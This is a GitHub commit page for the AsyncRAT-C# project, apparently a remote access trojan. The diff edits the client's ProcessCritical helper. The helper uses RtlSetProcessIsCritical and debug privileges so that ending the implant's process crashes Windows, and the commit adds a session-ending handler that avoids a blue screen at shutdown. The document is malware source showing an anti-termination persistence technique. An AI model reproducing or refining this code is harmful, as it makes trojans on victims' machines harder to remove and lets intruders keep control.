Skip to content

Commit

Permalink
Fixed BSOD when pc shutdown\restart
Browse files Browse the repository at this point in the history
  • Loading branch information
Nyrotication committed Jun 19, 2019
1 parent 98274c6 commit fb9a824
Showing 1 changed file with 12 additions and 5 deletions.
17 changes: 12 additions & 5 deletions AsyncRAT-C#/Client/Helper/ProcessCritical.cs
Original file line number Diff line number Diff line change
@@ -1,16 +1,23 @@
using System;
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

namespace Client.Helper
{
public static class ProcessCritical
{
{

public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
{
Exit();
}
public static void Set()
{
try
{
SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
Process.EnterDebugMode();
RtlSetProcessIsCritical(1, 0, 0);
}
Expand All @@ -22,9 +29,9 @@ public static void Exit()
{
RtlSetProcessIsCritical(0, 0, 0);
}
catch
{
while(true)
catch
{
while (true)
{
Thread.Sleep(100000); //prevents a BSOD on exit failure
}
Expand Down

0 comments on commit fb9a824

Please sign in to comment.